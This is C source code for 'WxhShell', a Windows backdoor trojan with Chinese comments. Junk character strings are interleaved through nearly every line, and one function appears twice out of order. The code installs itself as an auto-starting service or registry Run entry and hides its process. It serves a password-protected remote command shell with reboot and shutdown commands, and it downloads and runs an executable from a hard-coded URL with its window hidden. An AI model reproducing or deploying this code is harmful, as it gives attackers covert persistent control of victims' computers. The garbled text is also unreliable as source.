PROCESS_BASIC_INFORMATION pbi; tLD(%s_ GGWdMGI/ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A7hWAq if(NULL == hInst ) return 0; a3Fe42G2c| '",+2=JJ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }#Q?\ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6p}dl>T_y NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");
{ch+G~oS z~ f;5 xtI if (!NtQueryInformationProcess) return 0; w vQ.9 ?O| CY hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UWPzRk#s" if(!hProcess) return 0; l2S1?* 3c|u2Pl if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m35$4 (%\tE CloseHandle(hProcess); RHIGNzSz BMJsR0 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~snYf7 if(hProcess==NULL) return 0; ]iHSUP =9;2(<A HMODULE hMod; Yo^9Y@WDW char procName[255]; \Q~HL_fy|Y unsigned long cbNeeded; LPRvzlY= R/|2s if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +p\+15 #$?!P1 CloseHandle(hProcess); vyXL F'L Tg;1;XM% if(strstr(procName,"services")) return 1; // 以服务启动 GX@=b6#- H2iC? cSR return 0; // 注册表启动 7K`Z<v&* } _enS_R gc"A Tc // 主模块 9u^ yEqG` int StartWxhshell(LPSTR lpCmdLine) Y
*?hA' { FDQP|, SOCKET wsl; KrzIL[;2o BOOL val=TRUE; ZR|n\. int port=0; -SeHz.`N struct sockaddr_in door; j}F;Bfq! '0tNo.8K if(wscfg.ws_autoins) Install(); }P(<]UF 0/~20 KD{s port=atoi(lpCmdLine); !gX(Vh*k DFvj if(port<=0) port=wscfg.ws_port; D:DtP6 FC&841F WSADATA data; }u&,;] if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /8Xd2- <3WaFi u if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; rT/4w#_3 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8HxtmFqG door.sin_family = AF_INET; R GC DC*\ door.sin_addr.s_addr = inet_addr("127.0.0.1"); L8.u7(-# door.sin_port = htons(port); zYZ^/7) ^3
6oqe{ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eZ`x[g%1 closesocket(wsl); $:!L38[7$ return 1; 0WO-+eRB/ } %&\DCAFk X6SqOb\(a if(listen(wsl,2) == INVALID_SOCKET) { 0m>?-/uDx closesocket(wsl); o7^u@*"F return 1; ps&p| } *;!p#qL Wxhshell(wsl); kgGMA 7Jy WSACleanup(); $-l\&V++F &l;wb.%ijW return 0; _2p D 'M=c-{f~ } skzTw66W. M?I^Od'8 // 以NT服务方式启动 1_RN*M+# VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~z&Ho { 9{Xh wi)z DWORD status = 0; |*te69RX DWORD specificError = 0xfffffff; 5
cz6\A& 97-=Vb serviceStatus.dwServiceType = SERVICE_WIN32; 9Lp[y%{GP serviceStatus.dwCurrentState = SERVICE_START_PENDING; =cKrp' serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5lYzgt-oP serviceStatus.dwWin32ExitCode = 0; .~Y%
AI serviceStatus.dwServiceSpecificExitCode = 0; r;'Vy0?AL serviceStatus.dwCheckPoint = 0; 1Uf8ef1, serviceStatus.dwWaitHint = 0; .N~YVul[a* :!WKD@] hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); snti*e4"V if (hServiceStatusHandle==0) return; aX,ux9# z>9gt status = GetLastError(); jQRl-[n if (status!=NO_ERROR) 3lG=.yD { !^_G~`r$2J serviceStatus.dwCurrentState = SERVICE_STOPPED; x^u[L$ serviceStatus.dwCheckPoint = 0; 3lo.YLP^ serviceStatus.dwWaitHint = 0; .p?kAf` serviceStatus.dwWin32ExitCode = status; )uxXG`,h serviceStatus.dwServiceSpecificExitCode = specificError; M F_VMAq SetServiceStatus(hServiceStatusHandle, &serviceStatus); O9jpt>:kZ return; GJP\vsaQ } b]XDfe D! $4 serviceStatus.dwCurrentState = SERVICE_RUNNING; l.AG^b serviceStatus.dwCheckPoint = 0; OYwH$5 serviceStatus.dwWaitHint = 0; ^e4y:# Nu if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e,rCutA) } QCVwslj,K [X=J]e^D // 处理NT服务事件,比如:启动、停止 @ 9q/jv` VOID WINAPI NTServiceHandler(DWORD fdwControl) A_xUP9g@? { w/Ej>OS switch(fdwControl) h&Q9 { O({vHqN> case SERVICE_CONTROL_STOP: MsLQ'9%Au serviceStatus.dwWin32ExitCode = 0; wML5T+ serviceStatus.dwCurrentState = SERVICE_STOPPED; UCDvN serviceStatus.dwCheckPoint = 0; u[yUUYe serviceStatus.dwWaitHint = 0; ?KF.v1w7 { ]id5jVY SetServiceStatus(hServiceStatusHandle, &serviceStatus); zyF[I6Gs } *oP&'$P return; 97~*Z|#<+ case SERVICE_CONTROL_PAUSE: .>bvI1 serviceStatus.dwCurrentState = SERVICE_PAUSED; s\#eD0| break; 1h0cId8d case SERVICE_CONTROL_CONTINUE: -Yf pfNt serviceStatus.dwCurrentState = SERVICE_RUNNING; jm$v0=W9# break; 5p5S_%R$e case SERVICE_CONTROL_INTERROGATE: 7.DAwx.HYK break; ~n$e }; f[$9k}. SetServiceStatus(hServiceStatusHandle, &serviceStatus); dab[x@#r> } ;zZGV4Qc~ {<}kqn83sT // 标准应用程序主函数 Ow7}&\;^- int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) UB&)U\hn { (y;8izp9! ;.wWw" ) // 获取操作系统版本 km+}./@ OsIsNt=GetOsVer(); +w'{I`QIL0 GetModuleFileName(NULL,ExeFile,MAX_PATH); jhmWwT/O8^ *[?DnF+ // 从命令行安装 n^m6m%J) if(strpbrk(lpCmdLine,"iI")) Install(); M.QXwIT +""8aA // 下载执行文件 JkM f+! if(wscfg.ws_downexe) { Mk"V%)1k if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2~BId&] WinExec(wscfg.ws_filenam,SW_HIDE); 3cztMi } <u9U%Vsi %}%vey if(!OsIsNt) { d,0Yi
u.p // 如果时win9x,隐藏进程并且设置为注册表启动 r\sQ8/ HideProc(); k2S6 SB StartWxhshell(lpCmdLine); MX.=k> } =5yI>A0 else E*_lT`Hzf if(StartFromService()) V$7SVq // 以服务方式启动 TtaVvaz~> StartServiceCtrlDispatcher(DispatchTable); {V)Z!D else ctg[C$<q| // 普通方式启动 pdQ6/vh StartWxhshell(lpCmdLine); .sk$ @Q 5I(gP return 0; TXlxnB } Uhz<B #tj zFtRsa5+ 7k>sE ou[_ y =========================================== <r%QaQRbm s)~60c +R_w- NI ^KsiTVY ZJxUv
{J 2nFSu9}+r " XdDy0e4{%< .CL\`` #include <stdio.h> 6jRUkI-! #include <string.h> ^|(w)Sy #include <windows.h> liUrw7, #include <winsock2.h> [foZO&+! #include <winsvc.h> =O)dHY} #include <urlmon.h> !PzlrH)M=p u!X$M?D4 #pragma comment (lib, "Ws2_32.lib") 4?AggqW #pragma comment (lib, "urlmon.lib") 'RlPj0Cg
JKkR963 O #define MAX_USER 100 // 最大客户端连接数 P*#H]Pv #define BUF_SOCK 200 // sock buffer %-6I #define KEY_BUFF 255 // 输入 buffer ]B<Hrnn poqx
O #define REBOOT 0 // 重启 Jz!8Xg%a #define SHUTDOWN 1 // 关机 n~#%>C7 hK+Iow- #define DEF_PORT 5000 // 监听端口 P>dMET hoc$aqP6pp #define REG_LEN 16 // 注册表键长度 <Cvlz^K[ #define SVC_LEN 80 // NT服务名长度 H-9%/e 'wd-!aZAd // 从dll定义API SY`
U]-h typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A(mU,^ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T>&d/$;]
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wnL\.%Y^ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0wLu*K5$4E d (Fb_ // wxhshell配置信息 7J]tc1-re struct WSCFG { E0<9NFQr7 int ws_port; // 监听端口 aMSX"N"ot char ws_passstr[REG_LEN]; // 口令 -|MeC int ws_autoins; // 安装标记, 1=yes 0=no `o6Hm char ws_regname[REG_LEN]; // 注册表键名 ag-\(i;K] char ws_svcname[REG_LEN]; // 服务名 /.<T^p@\& char ws_svcdisp[SVC_LEN]; // 服务显示名 vMiZ:*iaj@ char ws_svcdesc[SVC_LEN]; // 服务描述信息 Bf;dp`(/ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8"4&IX int ws_downexe; // 下载执行标记, 1=yes 0=no '*5I5'[ X, char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LFCcV<~ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oyBBW?m ;~$_A4; }; Hb KJ&^ SSKn7` // default Wxhshell configuration -,Q
!: struct WSCFG wscfg={DEF_PORT, W27EU/+3 "xuhuanlingzhe", iw\RQ
0 1, G SXe=? "Wxhshell", ISI\<qx "Wxhshell", 8'Z#sM^E "WxhShell Service", " r!O9X6 "Wrsky Windows CmdShell Service", !e?GS"L~ "Please Input Your Password: ", O!}TZfC 1, Cg/L/0Ak "http://www.wrsky.com/wxhshell.exe", /2K4ka<?7 "Wxhshell.exe" =h?WT* }; y]B?{m``6 7u!i)<pn // 消息定义模块 ){|Bh3XV char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P {x`eD0 char *msg_ws_prompt="\n\r? for help\n\r#>"; GqXnOmk char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .v36xX K( char *msg_ws_ext="\n\rExit."; >;eWgQ6V char *msg_ws_end="\n\rQuit."; aU,Zjm7fp char *msg_ws_boot="\n\rReboot..."; (c ?OcwTH char *msg_ws_poff="\n\rShutdown..."; \f6SA{vR| char *msg_ws_down="\n\rSave to "; XYtDovbv& $DZ\61 char *msg_ws_err="\n\rErr!"; 05mjV6j7m char *msg_ws_ok="\n\rOK!"; %O`e!p #Jv|zf5Z char ExeFile[MAX_PATH]; 6fhH)]0 int nUser = 0; 0Zp)
DM HANDLE handles[MAX_USER]; Y]aVa2!Wb int OsIsNt; MzRwsf 7t7"glP SERVICE_STATUS serviceStatus; )UA};Fus SERVICE_STATUS_HANDLE hServiceStatusHandle; *p}b_A}D 3~~Kt H= // 函数声明 DIH|6R int Install(void); =7@N'xX int Uninstall(void); {ZiJnJX int DownloadFile(char *sURL, SOCKET wsh); *2ZX*w37 int Boot(int flag); /s"mqBXCG void HideProc(void); ;Bk?,g int GetOsVer(void); x2*l5t int Wxhshell(SOCKET wsl); NGIbUH1[ void TalkWithClient(void *cs); fr$E'+l) int CmdShell(SOCKET sock); }{Ab:+aNd int StartFromService(void); #Hl0>"k
, int StartWxhshell(LPSTR lpCmdLine); =&RpW7] DT`TA#O VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5qzFH, VOID WINAPI NTServiceHandler( DWORD fdwControl ); .}n%gc~A 0b%"=J2/p. // 数据结构和表定义 {3F;:%$`c SERVICE_TABLE_ENTRY DispatchTable[] = #~l(t_m{ { ~Ts^z(v~D2 {wscfg.ws_svcname, NTServiceMain}, vt@5Hb) {NULL, NULL} n $RhD93 }; 'thWo wE
n4; // 自我安装 '\8gY((7 int Install(void) +eSNwR= { %UDz4?zx char svExeFile[MAX_PATH]; o2 HKEY key; I8;xuutc strcpy(svExeFile,ExeFile); QOA7#H-m9 36mp+}R# // 如果是win9x系统,修改注册表设为自启动 We&~]-b AW if(!OsIsNt) { (jbHV.]P9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oc+TsVt RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h>AK^fX RegCloseKey(key); fgrflW$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wVU.j$+_# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xj8yQ Y1 RegCloseKey(key); EXDZehLD<] return 0; .)L%ANf } \c1u$'| v } 5VD(fW[OW] } !n9H[QP^9 else { 04ZP\ #-5.G>8
// 如果是NT以上系统,安装为系统服务 \ng!qN SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `}t<5_ if (schSCManager!=0) qxKW%{6o { {j$ :9 H SC_HANDLE schService = CreateService
2P3,\L ( YJdM6 schSCManager, 72uARF wscfg.ws_svcname, iI T7pq1 wscfg.ws_svcdisp, I`k%/ei38 SERVICE_ALL_ACCESS, 1vKAJ<4W SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , FXMrD,qVg SERVICE_AUTO_START, Qh*"B SERVICE_ERROR_NORMAL, En01LrC? svExeFile, MIa#\tJj NULL, {k
BHZ$/ NULL, T<:mG%Is NULL, 9e5XS\ NULL, (QS4<J" NULL 8t)5b.PS ); .V~z6 if (schService!=0) jSi\/(E { =.T50~+M CloseServiceHandle(schService); UnTnc6Bo7W CloseServiceHandle(schSCManager); @ sLb=vb strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); UAleGR`, strcat(svExeFile,wscfg.ws_svcname); &CP]+ at if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
zciL'9 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d$DNiJ , RegCloseKey(key); jQ>~ return 0; $K& #R- } l9Xz,H } MTI[Mez CloseServiceHandle(schSCManager); 'M20v-[ } {`RCh]W } py\KY R ) W,tL*9[ return 1; m9~cQ!m } 6:\0=k5 vs=8x\W // 自我卸载 *vFXe_. int Uninstall(void) B \WIoz;' { \%],pZsA ~ HKEY key; tW$Di*h ?7;_3+T# if(!OsIsNt) { .VD:FFkW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9):h
%o RegDeleteValue(key,wscfg.ws_regname); oU|yBs1 RegCloseKey(key); :8(
"n1^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JSp V2c5Q RegDeleteValue(key,wscfg.ws_regname); J}zN]|bz RegCloseKey(key); \S5YS2,P return 0; W20qn>{z } z5njblUz } KOv?p@d } \US'tF)/ else { z4!Y9 |.]g&m)y^h SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &];:uYmMU if (schSCManager!=0) T)CEcz { 5xb1FH d: SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P3e}G-Oz if (schService!=0) :"G x { ta;q{3fe if(DeleteService(schService)!=0) { GkU]>8E'" CloseServiceHandle(schService); :o37 V! CloseServiceHandle(schSCManager); itU
P% return 0; y [jck: } !3*:6 CloseServiceHandle(schService); }c]u'a!4 } [D$%LR X CloseServiceHandle(schSCManager); vx7wW<e%D } "aT"o } tKP
zM "|,;~k1 return 1; ,$oz1,Q/ } 6}/m~m w]ihGh // 从指定url下载文件 )@\Eibt2oH int DownloadFile(char *sURL, SOCKET wsh) ABG>W>H-S { W)LtnD2 w HRESULT hr; (R{|* :KP char seps[]= "/"; *K#Ci1Q char *token; "e ;wN3/bF char *file; zZE@:P&lf char myURL[MAX_PATH]; 8+|7*Ud char myFILE[MAX_PATH]; <&CzM"\Em &sA@! strcpy(myURL,sURL); Y^(NzN token=strtok(myURL,seps); )O:T\{7+ while(token!=NULL) #cCR\$-~ { <jz\U7TBf file=token; be+]kp token=strtok(NULL,seps); b0:5i<"w6 } {G i:W/jJ E|9'{3$ GetCurrentDirectory(MAX_PATH,myFILE); w8KVs\/ strcat(myFILE, "\\"); nW"ml$ strcat(myFILE, file); JI7.:k; send(wsh,myFILE,strlen(myFILE),0); A<*G; send(wsh,"...",3,0); w~|z0;hC hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); * .P3fVlZ if(hr==S_OK) (X|`|Y return 0; S(NUuu}S else VT:m!<^
return 1; %YLyh?J u.!<)VIJx } 8]2j*e0xV *Q`y'6S // 系统电源模块 d@QC[$qXj int Boot(int flag) |]=s { ,\CG}-v@CN HANDLE hToken; @\)a&p]a TOKEN_PRIVILEGES tkp; }'c@E0" z@tIC^s if(OsIsNt) { g@s'-8}X^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,/1[(^e LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iosL&*'8 tkp.PrivilegeCount = 1; :G/.h[\R| tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @7z_f!'u AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W^T6^q5;H if(flag==REBOOT) { Hphfqdh0` if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4+2hj*I return 0; G
]JWd } IA(+}V else { S!{Kn ;@ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) tLc~]G*\`s return 0; jHx)q|2\ } DcmRb/AP* } 48W-Tf6v| else { iTpK:pX if(flag==REBOOT) { s]@k,% if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <uL0M`u3 return 0; R)u ${ } >=!$(JgX else { bA*T1Db,t> if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3`^NaQ return 0; QVJvuiUh } H'2Un(#Al } <f/wWu} n%%u0a% return 1; 4K<T_B/ } ?6>rQ6tBv `mo>~c7 // win9x进程隐藏模块 6~y7A<[^ void HideProc(void) (U@uJ { S/)J<?<b *s}j:fJ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r<XlIi if ( hKernel != NULL ) F3,djZq { t^(#~hx pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [R9!Tz ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); > qDHb' FreeLibrary(hKernel); "YQ%j+ } ^{(i;IVG p}{V%!`_ return; !tr
/$ } .0H!B#9 F)Qj<6 // 获取操作系统版本 ,`nl";Zc int GetOsVer(void) qW(_0<E { $KGpcl OSVERSIONINFO winfo; mzoNXf:x winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }N}\<RG GetVersionEx(&winfo); 8QaF(? if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J"W+9sI0 return 1; J`@#yHL else q oJ4w7 return 0; Ze>Pg.k+ } 'RjMwJy{ M~ ^ {S[o // 客户端句柄模块 ZPolE_P7 int Wxhshell(SOCKET wsl) #&jr9RB { 9'S~zG%{ SOCKET wsh; Uk0]A struct sockaddr_in client; dtT2h>h9 DWORD myID; kn 1+lF@ A_\ZY0Xt while(nUser<MAX_USER) sJ(q.FRM' { A[.5Bi int nSize=sizeof(client); ?=lnYD j wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;N/=)m if(wsh==INVALID_SOCKET) return 1; !s:v UY58 H%:u9DlEK/ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <(<19t5 . if(handles[nUser]==0) B%e#u.'6 closesocket(wsh); 6opubI< else <0hJo=6a8 nUser++; uY5Gn.Y } S.kFs{;1x WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /^>yDGT,0 N;BS;W5I return 0; raPUx _$PH } mK2M1r w}jH,Ew // 关闭 socket H%\\-Z$# void CloseIt(SOCKET wsh) D@yuldx'/ { 6qgII~F' closesocket(wsh); ^-'t`mRl]d nUser--; ->S6S_H/+& ExitThread(0); EjYCOb- } M+N7JpR koizk&) // 客户端请求句柄 b[I;6HW void TalkWithClient(void *cs) 2r]!$ hto { rLm:qu(F1 }nW) + SOCKET wsh=(SOCKET)cs; ,UD,)ZPf[ char pwd[SVC_LEN]; ecI[lB char cmd[KEY_BUFF]; E*t0ia8 char chr[1]; &_!g|- int i,j; bC mhlSNi aF'9&A;q while (nUser < MAX_USER) { t,8p}2,$ tR]1c if(wscfg.ws_passstr) { 8'kA",P if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B?xu!B, //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZoiCdXvTN //ZeroMemory(pwd,KEY_BUFF); 9g*MBe: i=0; R{"7q:- while(i<SVC_LEN) { W]v[Xm$q Je6=N3) // 设置超时 pSq3\#Twr fd_set FdRead; )n[ oP% struct timeval TimeOut; GAlAFsB FD_ZERO(&FdRead); N!e?K=}tL FD_SET(wsh,&FdRead); Dl#%tYL+3h TimeOut.tv_sec=8; Odo"S;) TimeOut.tv_usec=0; -;?5<>zZ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w]{NaNIeq1 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }0({c~z\ ]bq<vI% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8 '2lc pwd=chr[0]; PG1#Z?_ if(chr[0]==0xd || chr[0]==0xa) { s)e;
c<(/ pwd=0; wghz[qe break; 3psCV=/z } &!3=eVg i++; 3d{v5. C#X } N>fC" xwH+Q7O&l // 如果是非法用户,关闭 socket SRN:!- if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !S/hH% C } RPvOup cs ?@Ri=g send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jG3}V3|. send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S"iQQV{)Z vYD>m~Qc^ while(1) { {9<2{$Og l.i"Z pik ZeroMemory(cmd,KEY_BUFF); ,T{(t@ pPm9v_G // 自动支持客户端 telnet标准 #_+T@|r j=0; sq_N!
while(j<KEY_BUFF) { eXa a'bTx if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3mIX9&/ cmd[j]=chr[0]; sg(L`P if(chr[0]==0xa || chr[0]==0xd) { H7e/6t<x cmd[j]=0; fuQ|[tpvQG break; <%JRZYZ } ]]s_ 8u3 j++; sX3Vr&r } j~G^J vO1P%) // 下载文件 bp6 La`+ if(strstr(cmd,"http://")) { $a6&OH/ send(wsh,msg_ws_down,strlen(msg_ws_down),0); vpY|S2w)Bp if(DownloadFile(cmd,wsh)) :\*hAV1i send(wsh,msg_ws_err,strlen(msg_ws_err),0); -#b-@sD else -;z&"> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q^v8n1 } PZ-|W else { t%Z_*mIfmE ??rx\*,C</ switch(cmd[0]) { ,z)7rU` @T1/S&F= // 帮助 i\B>J?Q\ case '?': { 0+O)~>v send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J-fU,*Bk break; YE5v~2 } sHe:h XG' // 安装 '?Q [.{< case 'i': { &_&])V)<\S if(Install()) `X]-blHo send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jug1Va<^c else ~Gc+naE> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fPHv|_XM> break; sm}v0V.Js } M6!kn~ // 卸载 ~aH*ZA*f case 'r': { 5/mW:G,& if(Uninstall()) qkv.,z" send(wsh,msg_ws_err,strlen(msg_ws_err),0); pi5Al)0 else SGH"m/ e send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4(&00#Yxg2 break; =[`wyQe`_ } U;KHF{Vm // 显示 wxhshell 所在路径 [*?P2.b f case 'p': { #l-,2C~ char svExeFile[MAX_PATH]; ']f]:X;6w strcpy(svExeFile,"\n\r"); P]+^^U strcat(svExeFile,ExeFile); Tp<=dH%$%" send(wsh,svExeFile,strlen(svExeFile),0); ]k{cPK break; ZzI^*Nyg } M!=v"C# // 重启 quf,ZK5 case 'b': { 2Z,;#t send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `R8~H7{I6 if(Boot(REBOOT)) ~MO'%'@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9XS+W
w7 else { /k1&?e closesocket(wsh); F& H~JJ ExitThread(0); h|%d=`P, } %M9^QHyo@ break; [}lv!KmzW } R]/F{Xs // 关机 K]@^8e$( case 'd': { d"5:/Mo send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "SyyOD
)WA if(Boot(SHUTDOWN)) nH% / send(wsh,msg_ws_err,strlen(msg_ws_err),0); + 7E6U* else { /D 8cJgH- closesocket(wsh); jzEimKDE's ExitThread(0); Bi
kCjP[b } b]Rn Cu" break; 9A3Q&@, } J~<:yBup} // 获取shell 4pq >R case 's': { ?Dm! ;Z+7 CmdShell(wsh); H:9(
XW closesocket(wsh); DfV_08 ExitThread(0); wGISb\rr break; ffm19 B= } AGCqJ8`|T // 退出 RPaB4> case 'x': { m^T$H_*; send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6Om-[^ CloseIt(wsh); Cj5M break; ~v,LFIT } )OH!<jW // 离开 i>,5b1x~ case 'q': { ?e]4HHgU] send(wsh,msg_ws_end,strlen(msg_ws_end),0); orzdq closesocket(wsh); p//">l=Ps WSACleanup(); Os@ofnC exit(1); LC[,K break; M?$-u } \|j`jsq } a+weBF#Z } f#JLE+0Y = "c
_<?=[ // 提示信息 _E'M(.B< if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uLhamE) } (: ZOoL } Q:-H UbB ]X?+]9Fr return; 4ItXZ o } T
X6Ydd `2S{.s // shell模块句柄 @[
:s P int CmdShell(SOCKET sock) VWfrcSZg6M { mW8CqW\Q5 STARTUPINFO si; RNX}W lo-s ZeroMemory(&si,sizeof(si)); :?RK>}4|F si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /B1<N} si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x:l`e:`y9 PROCESS_INFORMATION ProcessInfo; 4eaC18? char cmdline[]="cmd"; 4f"be CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); VIi|:k return 0; Sk;IAp#X9 } msY"Y*4 Vaq=f/ // 自身启动模式 #M`ijN!Y int StartFromService(void) 'd6hQ4Vw4 { k,?Y`s typedef struct z=ppNP0 { Nb]qY>K DWORD ExitStatus; )b!q
DWORD PebBaseAddress; <o?qpW$,> DWORD AffinityMask; YT:<AJm DWORD BasePriority; qU2>V ULONG UniqueProcessId; C7+TnJ ULONG InheritedFromUniqueProcessId; k9R1E/; } PROCESS_BASIC_INFORMATION; 1Tiq2+hmf &I!2gf PROCNTQSIP NtQueryInformationProcess; :hJhEQH(9 ]E=JUYf0 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; oTx#e[8f{ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lc5NC;JR N(1jm F HANDLE hProcess; a-QHm;_S PROCESS_BASIC_INFORMATION pbi; o@pM??&x Rut6m5> HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /
m?Z! if(NULL == hInst ) return 0; a~XNRAh :K8T\ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,Y!T!o}1
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8sbS7*# NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m,up37-{ %eT/:I if (!NtQueryInformationProcess) return 0; x!YfZ* qHHWe<}OT hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #4cuNX5m% if(!hProcess) return 0; 8u+ (+25 +pe_s& if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )YnB6@=nyk mZM5aTQ3 CloseHandle(hProcess); Vq<|DM3z< KqtI^qC8 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r`7`f xe if(hProcess==NULL) return 0; wk5a &
